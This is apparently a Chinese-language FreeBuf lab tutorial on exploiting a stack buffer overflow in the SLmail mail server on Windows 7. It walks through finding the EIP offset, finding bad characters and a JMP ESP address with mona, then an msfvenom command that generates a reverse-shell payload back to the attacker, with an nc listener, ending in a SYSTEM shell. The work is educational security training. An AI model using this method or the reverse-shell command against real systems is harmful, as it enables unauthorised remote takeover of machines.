Windows下SLmail郵件伺服器緩衝區溢出理解及實驗

*本文作者：Jindom，本文屬 FreeBuf 原創獎勵計劃，未經許可禁止轉載

本次緩衝區溢出實驗是在Windows7 Unlimit 64位下的SLmail郵件服務溢出測試。

注:SLmail並不是一個特別常用的郵件服務應用,本次實驗僅限於理解緩衝區溢出的過程以及方法

目標機

: Windows7 Unlimit x64 10.11.12.13

攻擊機

: Kali Linux 10.11.0.29

涉及工具:

Metasploit Framework

Immunity Debugger(裝好mona模塊)

步驟

先將

Immunity 

Debugger Attach上SLmail的主進程

點這個

讓進程解除冰凍狀態,轉為running狀態

這個時候轉到Kali,使用Buffer溢出腳本檢測溢出所需的位元組,腳本源碼如下

使用該腳本並加上目標參數

觀察,等到Debugger右上角窗口EIP指針為41414141(A的ASCII編碼)時代表溢出成功

記下python腳本窗口處此時的位元組數,本次試驗為2900 bytes

重新啟動SLmail服務,並重新Attach進程

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2900 //使用MSF的buffer生成工具生成一段字元,來精確定位溢出位置

編寫修改針對性的溢出腳本

源碼如下

此時執行此腳本,再觀察Debugger右上側窗口,觀察EIP指針所指向的字元串

可以看到字元串為 39694438

此時利用pattern_create相對的工具pattern_offset查找這串位元組相對的位置

可知是位於 

第2606個位元組之後的位元組

就是EIP所指向的!

這時修改腳本

觀察可知,這四個B就是EIP所指向的內容,而後16個C為補全2900個位元組所設置的

執行腳本

觀察到如下結果,可知EIP的確被指向到了2606bytes之後的位置,因為BBBB的ASCII碼為42424242

我們再觀察ESP的位置在哪裡

可以觀察到ESP指向的位置在0x0169A128,恰巧也被CCCC給填滿了

一般來說一個payload的位元組數在315-450之間,所以只要將0169A128開始的內存地址溢出到我們的payload就可以了

所以我們開始使用msf生成payload,但是要知道,這是在一個程序內存棧中進行decode,肯定會有一些位元組被這個程序錯誤理解

所以我們需要尋找一些壞位元組 也就是Bad Characters

修改腳本如下

再次運行該腳本並且dump到ESP位置的內存

可以看到,明顯有幾個位元組被錯誤編譯了,到第10個位元組應該是10卻變成了29

所以我們應該在腳本中去掉/x0a,並再次運行

仔細仔細再仔細地看,你會發現少了0D這個位元組,說明/0d這個位元組也是壞的,從腳本中去除。

同理再次實驗,你會發現一切都是正常的,沒有壞位元組了

所以,我們知道對於SLmail來說,壞位元組有

/x00,/x0a,/x0d。

知道了壞位元組有哪些,我們就可以生成shellcode啦!

但是,我們還得想辦法讓EIP重定向到我們想要的內存地址!

這時候,我腦子裡第一時間想到的是直接把EIP的地址改成ESP的地址。

直接讓執行流執行ESP所定位到的那一串代碼不就行了嘛?

但是實際上在溢出過程中ESP所指向的地址並不會保持不變,

因為絕大多數程序都是多進程的,ESP的指向並不是按照順序的單一的

他會指向奇奇怪怪的地方,所以這個方法不可行!

那咋辦嘞?

我們知道,在一個程序運行的時候,程序本身首先會被寫入到內存中,

順帶著它需要的各種DLL以及Drive和Modules,

所以我們可以尋找含有JMP ESP這個指令的各種模塊並利用他們。

為了尋找合乎條件的DLL以及模塊,我們需要用到第三方模塊mona

在Debugger的下方命令行輸入

!mona modules

就可以看到所有loaded的modules

這時候就可以尋找符合條件的modules了

符合條件的modules需要符合3個條件

1.本身的base內存地址不包含上面提到的壞位元組

2.沒有被前四個反緩衝區溢出機制保護

這裡只有一個DLL滿足條件

按下工具條上的E來查看所有可被執行的dll

找到對應的DLL並雙擊

到主界面search相應的操作

但奇怪的是無論是search command和sequence commands都沒法找到想要找的jmp esp位元組

這個是很不科學的小概率事件,講道理一個有用的DLL肯定會包含一兩個這個命令

仔細想過後並且查看了這個DLL的詳細信息(工具條按M按鈕)

你會發現只有.text區塊是被表明了Excutable的,所以可能mona在剛剛的查找中只查找了這個區塊

沒有查找其他幾個區塊,這時候我們可以直接讓mona去查找內存,但是得知道相應的命令在內存中是怎麼表示的

這時候就需要msf的nasm_shell工具了

這個時候我們知道jmp esp這個操作會在內存中被表示為 FFE4

然後我們直接使用mona查找

!mona find -s "xffxe4" -m slmfc.dll

我們發現results里第一個地址不包含壞位元組並且是可用的

我們就使用第一個!

跳轉到對應的內存地址並核對,果然發現有我們夢寐以求的JMP ESP

現在開始修改溢出腳本!

但但但是,在溢出腳本執行之後,郵件服務肯定會癱瘓,所以為了我們演示需要,需要做一個斷點

選中這一行,按F2並點確定 按F8繼續執行

終於可以開始寫腳本啦

首先使用msf去生成一個shellcode

msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.209 LPORT=4444 -f c -a x86 --platform windows -b "x00x0ax0d" -e x86/shika

生成成功 (一定要注意長度!)

buffer的A*2606是為了達到EIP點,使程序下一步操作跳轉到slmc.dll代碼中的一個jmp esp。

這樣在esp地址下的我們的shellcode便可得到執行。

那16個x90是為了防止shellcode程序的開頭一部分被編譯器認為是垃圾不去處理,總之就是為了告訴編譯器我後面的是程序!

寫好腳本,在kali攻擊機的4444埠開啟監聽

nc -lvp 4444

shell get √√√

查看下許可權

是最高系統許可權,滲透完成

*本文作者：Jindom，本文屬 FreeBuf 原創獎勵計劃，未經許可禁止轉載

喜歡這篇文章嗎？立刻分享出去讓更多人知道吧！

本站內容充實豐富，博大精深，小編精選每日熱門資訊，隨時更新，點擊「搶先收到最新資訊」瀏覽吧！

請您繼續閱讀更多來自 FreeBuf 的精彩文章: